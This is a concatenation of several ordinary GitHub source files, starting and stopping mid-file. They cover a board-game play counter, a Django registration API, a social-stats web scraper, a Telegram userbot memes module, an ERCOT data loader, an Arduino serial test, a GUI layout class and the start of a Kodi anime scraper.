gameTotalEntry['totalPlays'] = totalPlays\n\ndef spider_games(allgames):\n  for game in allgames:\n    spider = {}\n    for matchgame in allgames:\n      if matchgame['rootid'] != game['rootid']:\n        # Are there any overlapping players\n        overlap = len(game['players'] & matchgame['players'])\n        if overlap > 0:\n          spider[matchgame['rootid']] = overlap;\n\n    game['crossplays'] = spider;\n\n  for game in allgames:\n    del game['players']\n\n# Get the user parameters\n# 1 - File with expansions\n# 2 - Date (optional, current month if not set)\n# 3 - Output file (optional, config file set if not set)\n\nconfiguration = load_expansion_list(sys.argv[1])\n\n# Default to the last month, or use a custom date\ncapturedate = date( date.today().year, date.today().month, 1)\ncapturedate = capturedate+relativedelta(months=-1)\nif len(sys.argv) > 2:\n  capturedate = date.fromisoformat( sys.argv[2] + \"-01\" )\n\n# If we are setting a date we may want a custom output too\nif len(sys.argv) > 3:\n  outfile = sys.argv[3]\nelif 'outfile' in configuration:\n  outfile = configuration['outfile'].format(capturedate.strftime(\"%Y-%m\")) \nelse:\n  outfile = \"plays-{}.yaml\".format(capturedate.strftime(\"%Y-%m\")) \n  \nexpansions = configuration['expansions']\n\n# Get the set of expansions needed when fetching games to prevent duplicates\nexpansionComponents = set()\nfor expansionEntry in expansions.values():\n  expansionComponents |= set(expansionEntry)\n\n# Join our two source lists \nsourceLists = configuration['sourceLists']\nallgames = {}\nfor listid in sourceLists:\n  allgames.update(fetch_games(listid,expansionComponents))\n\n# This list is too big to test initially, just grab first 40\n#testingGames = {}\n#for game in list(allgames.values())[:20]:\n#  testingGames[game['rootid']] = game\n#allgames = testingGames\n\n# Get the games and components merged\nbuild_games_sources(allgames,expansions)\n\n# Go through the games to get their component play counts\nplaysFrom = date(capturedate.year, capturedate.month, 1)\nplaysTo = date(capturedate.year, capturedate.month, 1) + relativedelta(day=31)\n\nfor idx,game in enumerate(allgames.values()):\n  print(\"Filling game {}, {:.2f}%\".format(game['rootname'],(idx/len(allgames))*100))\n  for comp in game['components']:\n    fill_plays(comp,playsFrom,playsTo,configuration['filter'])\n\n# Second pass to remove duplicates and the prepare game summaries\nfor game in allgames.values():\n  filter_plays(game)\n  summarise_plays(game)\n\n\n# Strip all of the game entries which weren't played\nplayedAllGames = []\nfor game in allgames.values():\n  if game['totalPlays'] > 0:\n    playedAllGames.append(game)\n\n# Order by plays, then players, then name. Sort is ascending, so we make the numbers negative so the biggest \n# play is the smallest sorting number, then the same for the number players and then alphabetical in normal\n# sorting order\nsortedGames = sorted(playedAllGames, key=lambda sg: (-sg['totalPlays'],-sg['numPlayers'],sg['rootname']))\nspider_games(sortedGames)\n\noutdate = {\n  'playDate': capturedate.strftime(\"%Y-%m\"),\n  'games': sortedGames\n}\n\nprint(\"Writing results to {}\".format(outfile))\nf = open(outfile, \"w\")\nf.write(yaml.dump(outdate))\nf.close()\n\n# Testing output\n#for game in sortedGames:\n#  print(game['rootname'], game['totalPlays'], game['numPlayers'])\n#  if len(game['components']) > 1:\n#    for comp in game['components']:\n#      if comp['countedPlays'] > 0:\n#        print (\"     \", comp['gamename'], comp['countedPlays'], comp['numPlayers'])\n\n#print(yaml.dump(playedAllGames))\n#print(playedAllGames)\n","repo_name":"lanceathome/bggscripts","sub_path":"game_play_fetch.py","file_name":"game_play_fetch.py","file_ext":"py","file_size_in_byte":12104,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"41652334180","text":"from django.contrib.auth import get_user_model\nfrom django.contrib.sites.shortcuts import get_current_site\nfrom django.db import transaction\nfrom django.db.models import Q\nfrom django.http import JsonResponse, HttpResponse\nimport json\nfrom rest_framework.authtoken.views import ObtainAuthToken\nfrom rest_framework.authtoken.models import Token\nfrom rest_framework.response import Response\n\nfrom django.views.decorators.csrf import csrf_exempt\n\nUser = get_user_model()\n\nfrom registration.models import RegistrationManager, RegistrationProfile\n\n\n@csrf_exempt\ndef api_normal_register(request):\n    if request.method != 'POST':\n        return HttpResponse('Unauthorized', status=401)\n    # 1. create user\n    # 2. send activation code\n    # 3. response\n    json_data = json.loads(request.body)\n    if \"username\" not in json_data or \"email\" not in json_data or \"password\" not in json_data:\n        return HttpResponse('Invalid Input', status=400)\n\n    new_user = RestRegistrationManager().rest_create_inactive_user(json_data\n                                                                   , site=get_current_site(request))\n    if new_user is None:\n        return HttpResponse('Username or email existc, please change it', status=400)\n\n    return JsonResponse({'status': \"created\"\n                            , \"info\": json_data[\"username\"]\n                                      + \" is created, Please check your info to activate your account\"})\n\n\n# normal rest api token\nclass RestAuthToken(ObtainAuthToken):\n\n    def post(self, request, *args, **kwargs):\n        serializer = self.serializer_class(data=request.data,\n                                           context={'request': request})\n        serializer.is_valid(raise_exception=True)\n        user = serializer.validated_data['user']\n        token, created = Token.objects.get_or_create(user=user)\n        return Response({\n            'token': token.key,\n            'user_id': user.pk,\n            'email': user.email\n        })\n\n\nclass RestRegistrationManager():\n    @transaction.atomic\n    def rest_create_inactive_user(self, data, site, send_email=True):\n        # new_user = form.save(commit=False)\n\n        if len(User.objects.filter(Q(username__iexact=data[\"username\"]) | Q(email__iexact=data[\"email\"]))) > 0:\n            return None\n\n        new_user = User.objects.create_user(data[\"username\"]\n                                            , data[\"email\"]\n                                            , data[\"password\"]\n                                            )\n        new_user.is_active = False\n        new_user.save()\n\n        registration_profile = RegistrationProfile.objects.create_profile(new_user)\n\n        if send_email:\n            registration_profile.send_activation_email(site)\n\n        return new_user\n\n","repo_name":"jessysu/foliofame","sub_path":"app/ff_user/apis.py","file_name":"apis.py","file_ext":"py","file_size_in_byte":2782,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"25143155970","text":"#set up\nimport os\n\nos.system('start /wait cmd /c ' + 'pip install ' + 'requests')\nos.system('start /wait cmd /c ' + 'pip install ' + 'beautifulsoup4')\n\nimport csv\nimport time\nfrom random import choice\nimport requests\n\n#Write Function\ndef write(destinationDir, outputFileName, elementList):\n\tcurrentDir = os.path.dirname(__file__)\n\tif not os.path.exists(destinationDir):\n\t\tos.makedirs(destinationDir)\n\tfilePath = os.path.join(currentDir, destinationDir+'/'+outputFileName)\n\twith open(filePath, 'w', newline='') as csvFile:\n\t\twriter = csv.writer(csvFile)\n\t\tfor element in elementList:\n\t\t\ttry:\n\t\t\t\twriter.writerow(element)\n\t\t\texcept:\n  \t\t\t\tprint(\"An exception occurred while writing some registers (most common: special character)\")\n\ndestinationDir = \"output\" #name of the output directory\n\n# Creamos una lista de user_agents (https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/User-Agent)\nuser_agents = ['Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36',\n'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36',\n'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36',\n'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/602.2.14 (KHTML, like Gecko) Version/10.0.1 Safari/602.2.14',\n'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36',\n'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.98 Safari/537.36',\n'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.98 Safari/537.36',\n'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36',\n'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36',\n'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0']\n\nheaders = {'User-Agent': choice(user_agents)}\n\n#Scraper for common information\nfrom commonScraper import CommonScraper\n\ncommonScraper = CommonScraper(url = 'https://socialblade.com', outputFileName = \"TopInfluencers.csv\")\n\n#Scrapers for each page\nfrom socialScrapers.youtubeScraper import YoutubeScraper\nfrom socialScrapers.twitchScraper import TwitchScraper\nfrom socialScrapers.twitterScraper import TwitterScraper\nfrom socialScrapers.instagramScraper import InstagramScraper\nfrom socialScrapers.facebookScraper import FacebookScraper\nfrom socialScrapers.dailymotionScraper import DailymotionScraper\nfrom socialScrapers.mixerScraper import MixerScraper\n\nyoutubeScraper = YoutubeScraper()\ntwitchScraper = TwitchScraper()\ntwitterScraper = TwitterScraper()\ninstagramScraper = InstagramScraper()\nfacebookScraper = FacebookScraper()\ndailymotionScraper = DailymotionScraper()\nmixerScraper = MixerScraper()\n\nurl = 'https://socialblade.com/robots.txt'\n\nwhile True:\n    lines = requests.get(url).text.splitlines()\n    disallows = []\n    disallows.append('/youtube')\n    disallows.append('/twitch')\n\n    for line in lines:\n    \tif 'Disallow:' in line:\n            line = line[10:]\n            if line == \"/youtube\" or line == \"/youtube/*\":\n                youtubeScraper.disallow()\n                disallows.append('/youtube')\n                print('Youtube no se debe procesar')\n            elif line == \"/twitch\" or line == \"/twitch/*\":\n                twitchScraper.disallow()\n                disallows.append('/twitch')\n                print('Twitch no se debe procesar')\n            elif line == \"/twitter\" or line == \"/twitter/*\":\n                twitterScraper.disallow()\n                disallows.append('/twitter')\n                print('Twitter no se debe procesar')\n            elif line == \"/instagram\" or line == \"/instagram/*\":\n                instagramScraper.disallow()\n                disallows.append('/instagram')\n                print('Instagram no se debe procesar')\n            elif line == \"/dailymotion\" or line == \"/dailymotion/*\":\n                dailymotionScraper.disallow()\n                disallows.append('/dailymotion')\n                print('Dailymotion no se debe procesar')\n            elif line == \"/mixer\" or line == \"/mixer/*\":\n                mixerScraper.disallow()\n                disallows.append('/mixer')\n                print('Mixer no se debe procesar')\n            elif line == \"/facebook\" or line == \"/facebook/*\":\n                facebookScraper.disallow()\n                disallows.append('/facebook')\n                print('Facebook no se debe procesar')\n\n    write(destinationDir, commonScraper.outputFileName, commonScraper.scrape(headers, disallows)) # commonScraper ya tiene sleep() internos\n\n    write(destinationDir, youtubeScraper.outputFileName, youtubeScraper.scrape(headers))\n    time.sleep(0.2) # Ponemos un tiempo de espera entre cada peticion para evitar saturar el servidor\n\n    write(destinationDir, twitchScraper.outputFileName, twitchScraper.scrape(headers))\n    time.sleep(0.2) # Ponemos un tiempo de espera entre cada peticion para evitar saturar el servidor\n\n    write(destinationDir, twitterScraper.outputFileName, twitterScraper.scrape(headers))\n    time.sleep(0.2) # Ponemos un tiempo de espera entre cada peticion para evitar saturar el servidor\n\n    write(destinationDir, instagramScraper.outputFileName, instagramScraper.scrape(headers))\n    time.sleep(0.2) # Ponemos un tiempo de espera entre cada peticion para evitar saturar el servidor\n\n    write(destinationDir, facebookScraper.outputFileName, facebookScraper.scrape(headers))\n    time.sleep(0.2) # Ponemos un tiempo de espera entre cada peticion para evitar saturar el servidor\n\n    write(destinationDir, dailymotionScraper.outputFileName, dailymotionScraper.scrape(headers))\n    time.sleep(0.2) # Ponemos un tiempo de espera entre cada peticion para evitar saturar el servidor\n\n    write(destinationDir, mixerScraper.outputFileName, mixerScraper.scrape(headers))\n\n    # Volvemos a activar todos los scrapers en caso de que los permisos del robots.txt cambien en un futuro\n    youtubeScraper.allow()\n    twitchScraper.allow()\n    twitterScraper.allow()\n    instagramScraper.allow()\n    facebookScraper.allow()\n    dailymotionScraper.allow()\n    mixerScraper.allow()\n\n    time.sleep(3600) # Esperamos una hora para hacer la siguiente iteración de scrape\n","repo_name":"XavierCastillaCarbonell/SocialBladeWebScraper","sub_path":"code/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":6421,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"18"}
{"seq_id":"31127518189","text":"# memes (miscellaneous)\r\n# HyperBot++\r\n# Licensed under the DBBPL\r\n# (C) 2021 githubcatw\r\n\r\nfrom userbot.sysutils.registration import register_cmd_usage, register_module_desc, register_module_info\r\nfrom userbot.sysutils.event_handler import EventHandler\r\nfrom os.path import basename, isfile\r\nfrom os.path import join as pathjoin\r\nfrom pathlib import Path as lPath\r\n\r\nimport asyncio\r\nimport random\r\nimport re\r\nimport time\r\n\r\nimport requests\r\nfrom telethon.tl.functions.users import GetFullUserRequest\r\nfrom telethon.tl.types import MessageEntityMentionName\r\n\r\nfrom PIL import Image, ImageDraw, ImageFont\r\n\r\nehandler = EventHandler()\r\nVERSION = \"2022.2.1\"\r\n\r\n@ehandler.on(command=\"f\", hasArgs=True, outgoing=True)\r\nasync def payf(event):\r\n    if not event.text[0].isalpha() and event.text[0] in (\".\"):\r\n        if not \" \" in event.text:\r\n            paytext = \"F\"\r\n        else:\r\n            paytext = event.text.split(\" \")[1]\r\n        pay = \"{}\\n{}\\n{}\\n{}\\n{}\\n{}\\n{}\\n{}\\n{}\\n{}\\n{}\\n{}\".format(\r\n            paytext * 8, paytext * 8, paytext * 2, paytext * 2, paytext * 2,\r\n            paytext * 6, paytext * 6, paytext * 2, paytext * 2, paytext * 2,\r\n            paytext * 2, paytext * 2)\r\n        await event.edit(pay)\r\n\r\n@ehandler.on(command=\"lol\", hasArgs=True, outgoing=True)\r\nasync def payf(event):\r\n    if not event.text[0].isalpha() and event.text[0] in (\".\"):\r\n        if not \" \" in event.text:\r\n            await event.edit(\"`Give something to make a LOL out of.`\")\r\n            return\r\n        paytext = event.text.split(\" \")[1]\r\n        pay = \"```{}\\n{}\\n{}\\n{}\\n{}\\n\\n  {}\\n {}\\n{}\\n {}\\n  {}\\n\\n{}\\n{}\\n{}\\n{}\\n{}```\".format(\r\n            paytext, paytext, paytext, paytext, paytext * 4,\r\n            paytext * 3, paytext + \"    \" + paytext, paytext + \"      \" + paytext, paytext + \"    \" + paytext, paytext * 3,\r\n            paytext, paytext, paytext, paytext, paytext * 4)\r\n        await event.edit(pay)\r\n\r\n@ehandler.on(command=\"lfy\", hasArgs=True, outgoing=True)\r\nasync def let_me_google_that_for_you(lmgtfy_q):  # img.gtfy\r\n    if not lmgtfy_q.text[0].isalpha() and lmgtfy_q.text[0] in (\".\"):\r\n        textx = await lmgtfy_q.get_reply_message()\r\n        qry = \" \".join(lmgtfy_q.text.split(\" \")[1:])\r\n        if qry:\r\n            query = str(qry)\r\n        elif textx:\r\n            query = textx\r\n            query = query.message\r\n        else:\r\n            await lmgtfy_q.edit(\"`Give something to make a Google link for!`\")\r\n            return\r\n        query_encoded = query.replace(\" \", \"+\")\r\n        lfy_url = f\"http://lmgtfy.com/?s=g&iie=1&q={query_encoded}\"\r\n        payload = {'format': 'json', 'url': lfy_url}\r\n        r = requests.get('http://is.gd/create.php', params=payload)\r\n        await lmgtfy_q.edit(f\"[{query}]({r.json()['shorturl']})\")\r\n\r\n\r\n@ehandler.on(command=\"scam\", hasArgs=True, outgoing=True)\r\nasync def scam(event):\r\n    if not event.text[0].isalpha() and event.text[0] in (\".\"):\r\n        options = [\r\n            'typing', 'contact', 'game', 'location', 'voice', 'round', 'video',\r\n            'photo', 'document', 'cancel']\r\n        input_str = event.text\r\n        args = input_str.split()\r\n        if len(args) == 1:  # Let bot decide action and time\r\n            scam_action = random.choice(options)\r\n            scam_time = random.randint(30, 60)\r\n        elif len(args) == 2:  # User decides time/action\r\n            try:\r\n                scam_action = str(args[0]).lower()\r\n                scam_time = random.randint(30, 60)\r\n            except ValueError:\r\n                scam_action = random.choice(options)\r\n                scam_time = int(args[0])\r\n        elif len(args) == 3:  # User decides both action and time\r\n            scam_action = str(args[0]).lower()\r\n            scam_time = int(args[1])\r\n        else:\r\n            await event.edit(\"`Invalid Syntax !!`\")\r\n            return\r\n        try:\r\n            if (scam_time > 0):\r\n                await event.delete()\r\n                async with event.client.action(event.chat_id, scam_action):\r\n                    await asyncio.sleep(scam_time)\r\n        except BaseException:\r\n            return\r\n\r\n@ehandler.on(command=\"kill\", hasArgs=True, outgoing=True)\r\nasync def kill(event):\r\n    if not event.text[0].isalpha() and event.text[0] in (\".\"):\r\n        if getConfig(\"USERDATA\") == None:\r\n                raise Exception(\"kill requires a user data folder. Please set USERDATA in your config.\")\r\n\r\n        FILES = pathjoin(getConfig(\"USERDATA\"),\"plus\", \"killRsrc\")\r\n        Path(FILES).mkdir(parents=True, exist_ok=True)\r\n\r\n        if not isfile(pathjoin(FILES,'ded.png')):\r\n            await event.edit(\"`Downloading resource 1/2`\")\r\n            r = requests.get(\"https://github.com/userbot8895/rsrc/raw/main/ded.png\", allow_redirects=True)\r\n            open(pathjoin(FILES,'ded.png'), 'wb').write(r.content)\r\n\r\n        if not isfile(pathjoin(FILES,'mc.ttf')):\r\n            await event.edit(\"`Downloading resource 2/2`\")\r\n            r = requests.get(\"https://github.com/userbot8895/rsrc/raw/main/mc.ttf\", allow_redirects=True)\r\n            open(pathjoin(FILES,'mc.ttf'), 'wb').write(r.content)\r\n\r\n        await dokill(event)\r\n        reply = await event.get_reply_message() \r\n        await event.client.send_file(event.chat_id,'kill.webp', reply_to=reply)\r\n        await event.delete()\r\n        \r\n\r\nasync def dokill(event):\r\n    FILES = pathjoin(getConfig(\"USERDATA\"),\"plus\", \"killRsrc\")\r\n    punched = None\r\n    reply = await event.get_reply_message() \r\n    if reply:\r\n        punched = reply.sender\r\n    else:\r\n        # kill the sender\r\n        punched = event.sender\r\n    # generate /kill message\r\n    name = punched.first_name\r\n    if punched.username:\r\n        name = punched.username\r\n    W,H = (512,288)\r\n    msg = f\"{name} fell out of the world\"\r\n    img = Image.open(pathjoin(FILES,'ded.png'))\r\n    draw = ImageDraw.Draw(img)\r\n    font = ImageFont.truetype(pathjoin(FILES,'mc.ttf'), 12)\r\n    w, h = draw.textsize(msg, font=font)\r\n    draw.text(((W-w)/2,((H-h)/2)-42),msg,(255,255,255),font=font)\r\n    img.save('kill.webp')\r\n\r\nregister_module_desc(\"Memes! This module contains random commands.\")\r\nregister_cmd_usage(\"f\", \"<emoji/character>\", \"Pay respect.\")\r\nregister_cmd_usage(\"lol\", \"<emoji/character>\", \"Laugh out loud.\")\r\nregister_cmd_usage(\"lfy\", \"<query>\", \"Let me Google that for you real quick!\")\r\nregister_cmd_usage(\"scam\", \"<action> <time>\", \"Create fake chat actions, for fun.\\nAvailable actions: `typing` (default)`, contact, game, location, voice, round, video, photo, document, cancel`\")\r\nregister_module_info(\r\n    name=\"Memes - random\",\r\n    authors=\"githubcatw, @BottomTextBot, Watn3y, Haklerman\",\r\n    version=VERSION\r\n)\r\n\r\n_f_='welcsent'\r\nfrom os.path import isfile as _i_\r\nif not _i_(_f_):\r\n print(f\"HUB++ version {VERSION} was installed successfully.\\n\\nCheck .listcmds or .help to see what things your userbot can now do. Or, check `.pkg list` to see what modules are also available.\\nTo stay up to date with HUB++ news subscribe to our channel (https://t.me/pawneeupdates).\\nIf you want to report issues with or suggest new features for HUB++ file an issue on GitHub or write in our group (https://t.me/userbot8895).\\n\\nHave fun!\")\r\n with open(_f_,'w')as _w_:_w_.write('')\r\n","repo_name":"userbot8895/HUB-Plus","sub_path":"src/memes_misc.py","file_name":"memes_misc.py","file_ext":"py","file_size_in_byte":7221,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"}
{"seq_id":"13884085650","text":"#!/usr/bin/env python3\r\nimport requests\r\nfrom bs4 import BeautifulSoup\r\nimport re\r\nimport csv\r\nimport pandas as pd\r\nimport sqlalchemy as sa\r\nimport pyodbc\r\nimport traceback\r\nfrom datetime import datetime\r\nimport zipfile, io\r\n\r\n# Grabs all the\r\ndef get_zip(zip_url):\r\n    filename = None\r\n    with requests.get(zip_url) as z:\r\n        z = zipfile.ZipFile(io.BytesIO(z.content))\r\n        # Change the directory for zip files\r\n        z.extractall(path=\"..\\zips\")\r\n        for info in z.infolist():\r\n            filename = info.filename\r\n    return filename\r\n\r\n\r\ndef get_page(page_url):\r\n    links = []\r\n    tNames = []\r\n    with requests.get(page_url) as r:\r\n        if r.ok:\r\n            print('***** Page URL ***** \\n')\r\n            print(r.url)\r\n            print('***** Server is happy ***** \\n')\r\n            print(r.status_code)\r\n            today = str(datetime.now().strftime('%Y%m%d'))\r\n            print('***** TODAY DATE ***** \\n' + today)\r\n            soup = BeautifulSoup(r.content, 'lxml')\r\n            table_body = soup.find('tbody')\r\n            if table_body.find_all(\"td\", string=re.compile(today)) is not None:\r\n                print('SEARCHING FOR TODAY ... \\n')\r\n                columns = soup.find_all(\"td\", string=re.compile(today))\r\n                i = -1\r\n                for column in columns:\r\n                    i += 1\r\n                    label = str(column.text).split(\".\")\r\n                    tNames.append(label[5])\r\n                    links.append(column.find_parent().find(\"a\").get(\"href\"))\r\n                    print(tNames, links)\r\n            else:\r\n                print(\"NO FILE FOUND\")\r\n        else:\r\n            print('***** Server is angry ***** \\n')\r\n            print(r.status_code)\r\n    return tNames, links\r\n\r\ndef upload_csv(csv_url, table_name):\r\n    df = pd.DataFrame.from_csv(csv_url, header=0, index_col=0)\r\n    # Please put here your SQL Server credentials or create your own connection\r\n    engine = sa.create_engine(\"mssql+pyodbc://<username>:<password>@<dsnname>\")\r\n    df.to_sql(name=table_name, con=engine, if_exists='replace', index=False, index_label=False)\r\n    engine.dispose()\r\n\r\n# ###########################################################################\r\n# ###########################################################################\r\n# Starts from here\r\n\r\n\r\nurl_Data_Main = \"http://mis.ercot.com/misapp/GetReports.do?reportTypeId=203&reportTitle=TDSP%20ESI%20ID%20Extracts&showHTMLView=&mimicKey\"\r\nzip_names = []\r\ntNames, links = get_page(url_Data_Main)\r\ni = -1\r\nfor link in links:\r\n    i+=1\r\n    zip_names.append(get_zip(links))\r\n    upload_csv(zip_names[i], tNames[i])\r\n","repo_name":"AliToori/Web-Scraping","sub_path":"DownloadAndUploadToSQL.py","file_name":"DownloadAndUploadToSQL.py","file_ext":"py","file_size_in_byte":2639,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"}
{"seq_id":"7430434014","text":"import serial\nfrom time  import  sleep\nser = serial.Serial('/dev/ttyUSB0',baudrate=9600,\n                     bytesize=serial.EIGHTBITS,\n                     parity=serial.PARITY_NONE,\n                     stopbits=serial.STOPBITS_ONE,\n                     timeout=1,\n                     xonxoff=0,\n                     rtscts=0\n                     )\ncounter = 0\nprint(ser.name)\nwhile True:\n     counter +=1\n     ser.write(b'1') # Convert the decimal number to ASCII then send it to the Arduino\n     print(ser.readline()) # Read the newest output from the Arduino\n     # Delay for one tenth of a second\n     print('yesss')\n     if counter == 255:\n\n        with ser:  # the reset part is actually optional but the sleep is nice to have either way.\n            ser.setDTR(False)\n            sleep(1)\n            ser.flushInput()\n            ser.setDTR(True)\n            print('py', counter)\n        #ser.close()\n\n\n\"\"\"\nImport serial\n\narduino = serial.Serial('/dev/ttyS0',\n                     baudrate=9600,\n                     bytesize=serial.EIGHTBITS,\n                     parity=serial.PARITY_NONE,\n                     stopbits=serial.STOPBITS_ONE,\n                     timeout=1,\n                     xonxoff=0,\n                     rtscts=0\n                     )\n# Toggle DTR to reset Arduino\narduino.setDTR(False)\nsleep(1)\n# toss any data already received, see\n# http://pyserial.sourceforge.net/pyserial_api.html#serial.Serial.flushInput\narduino.flushInput()\narduino.setDTR(True)\n\nwith arduino:\n    while True:\n        print(arduino.readline())\nI would also add the compliment to the DTR for the Arduino's with AVR's using built-in USB, such as the Leonoardo, Esplora and alike. The setup() should have the following while, to wait for the USB to be opened by the Host.\n\nvoid setup() {\n  //Initialize serial and wait for port to open:\n  Serial.begin(9600);\n  while (!Serial) {\n    ; // wait for serial port to connect. Needed for Leonardo only\n  }\n}\"\"\"\n# cod  arduino\n\"\"\"int reli1 = 2;\nint reli2 = 3;\nint reli3 = 4;\n\n\n// the setup routine runs once when you press reset:\nvoid setup() {                \n  // initialize the digital pin as an output.\n  Serial.begin(9600); // set the baud rate\n  pinMode(reli1, OUTPUT);    \n  pinMode(reli2, OUTPUT);  \n  pinMode(reli3, OUTPUT);   \n}\n\n// the loop routine runs over and over again forever:\nvoid loop() {\n//digitalWrite(reli3, HIGH);\nif (Serial.available())\n\n{\n\nchar state = Serial.read(); \n\n//Serial.println(state);\nif (state == '1')\n\n{\n\ndigitalWrite(reli1, HIGH);\n\n//Serial.println(\"reli1 on\");\n\n}\n\nif (state == '2')\n\n{\n\ndigitalWrite(reli2, HIGH);\n\n//Serial.println(\"reli 2 on \");\n\n}\nif (state == '3')\n\n{\n\ndigitalWrite(reli3, HIGH);\n\n//Serial.println(\"reli 3 on  \");\n\n}\n\n}\ndelay(100);\n}\"\"\"","repo_name":"hemid32/memoir","sub_path":"src/mimar/hemidi/arduino_test.py","file_name":"arduino_test.py","file_ext":"py","file_size_in_byte":2744,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"26161503985","text":"\r\nclass LayoutElement():\r\n    def __init__(self, \\\r\n            direct='n', \\\r\n            geometry=[0,0,0,0], \\\r\n            child_keys=[], \\\r\n            child_lengths=[], \\\r\n            parent_key=\"#\", \\\r\n            instance=None):\r\n        # \r\n        self.direct = direct\r\n        self.geometry = geometry \r\n        self.child_keys = child_keys \r\n        self.child_lengths = child_lengths \r\n        self.parent_key = parent_key\r\n        self.instance = instance\r\n\r\nclass Layout():\r\n    def __init__(self):\r\n        self.layouts = {}\r\n    \r\n    def hsplit(self, key, child_keys=[], values=[], value=0):\r\n        if len(values) == 0: \r\n            nchild = len(child_keys)\r\n            values = [value/nchild for ii in range(nchild)]\r\n        self.split(key, child_keys, values, direct='h')\r\n\r\n    def wsplit(self, key, child_keys=[], values=[], value=0):\r\n        if len(values) == 0: \r\n            nchild = len(child_keys)\r\n            values = [value/nchild for ii in range(nchild)]\r\n        self.split(key, child_keys, values, direct='w')\r\n\r\n    def split(self, key, child_keys=[], values=[], direct='h'):\r\n        parent = self.layouts[key]\r\n        ckeys = child_keys\r\n        v = 0\r\n        for vi in values: v+=vi \r\n        x, y, w, h = parent.geometry\r\n        ish = direct == 'h'\r\n\r\n        parent.direct = direct\r\n        parent.geometry = [x, y, w, v] if ish else [x, y, v, h]\r\n        parent.child_key = ckeys \r\n        parent.child_lengths = values \r\n        # generate child\r\n        for ii in range(len(ckeys)):\r\n            ckey = ckeys[ii]\r\n            vi = values[ii]\r\n            gi = [x, y, w, vi] if ish else [x, y, vi, h]\r\n            x, y = [x, y+vi] if ish else [x+vi, y]\r\n            #\r\n            self.layouts[ckey] = LayoutElement('n', gi, [], [], key, None)\r\n    \r\n    def array(self, key, ckey='', heigth=1, nh=1, width=1, nw=1):\r\n        if type(ckey) == str:\r\n            child_keys = [ckey+str(ii*nw+jj) for ii in range(nh) for jj in range(nw)]\r\n        elif type(ckey) == list:\r\n            child_keys = ckey \r\n            if len(child_keys) < nw*nh:\r\n                for ii in range(len(child_keys), nw*nh):\r\n                    child_keys.append(key+\"_child_\"+str(ii))\r\n        else:\r\n            print(\"ERROR: Layout:array\")\r\n            print(\"@\", key, ckey, heigth, nh, width, nw)\r\n            exit(1)\r\n        #\r\n        hc_keys = [\"#\" + key + \"_row_\" + str(ii) for ii in range(nh)]\r\n        hc_values = [heigth/nh for ii in range(nh)]\r\n        self.hsplit(key, hc_keys, hc_values)\r\n        ct = 0\r\n        for ii in range(nh):\r\n            wc_keys = [child_keys[ct+jj] for jj in range(nw)]\r\n            wc_values = [width/nw for jj in range(nw)]\r\n            self.wsplit(hc_keys[ii], wc_keys, wc_values)\r\n            ct += nw \r\n\r\n    def setGeometry(self):\r\n        for key in self.layouts.keys():\r\n            if self.layouts[key].instance != None:\r\n                x, y, w, h = self.layouts[key].geometry\r\n                self.layouts[key].instance.setGeometry(x, y, w, h)\r\n\r\n    def set_instance(self, key, instance):\r\n        self.layouts[key].instance = instance \r\n    ","repo_name":"MoPinghui/mz_calen","sub_path":"mlayout.py","file_name":"mlayout.py","file_ext":"py","file_size_in_byte":3121,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"42507442315","text":"import re,urllib,urlparse,base64\n\nfrom resources.lib.modules import cleantitle\nfrom resources.lib.modules import client\nfrom resources.lib.modules import directstream\n\n\nclass source:\n    def __init__(self):\n        self.domains = ['gogoanimemobile.com', 'gogoanimemobile.net', 'gogoanime.io']\n        self.base_link = 'http://gogoanimemobile.net'\n        self.fullbase_link = 'http://gogoanime.io'\n        self.search_link = '/search.html?keyword=%s'\n        self.episode_link = '/%s-episode-%s'\n\n\n    def tvshow(self, imdb, tvdb, tvshowtitle, year):\n        try:\n            meta = 'http://www.imdb.com/title/%s/' % imdb\n            meta = client.request(meta)\n\n            genre = re.findall('href\\s*=\\s*[\\'|\\\"](.+?)[\\'|\\\"]', meta)\n            genre = [i for i in genre if '/genre/' in i]\n            genre = [i.split('/genre/')[-1].split('?')[0].lower() for i in genre]\n            if not 'animation' in genre: raise Exception()\n\n            t = [tvshowtitle.strip()]\n\n            t2 = client.parseDOM(meta, 'title')\n            if t2: t += [re.sub('\\((?:.+?|)\\d{4}.+', '', t2[0]).strip()]\n\n            t3 = client.parseDOM(meta, 'div', attrs = {'class': 'originalTitle'})\n            if t3: t += [re.sub('<.+?>|\\(.+?\\)', '', t3[0]).strip()]\n\n            t = [x for y,x in enumerate(t) if x not in t[:y]][:2]\n\n            for title in t:\n                try:\n                    q = urlparse.urljoin(self.base_link, self.search_link)\n                    q = q % urllib.quote_plus(title)\n\n                    r = client.request(q, 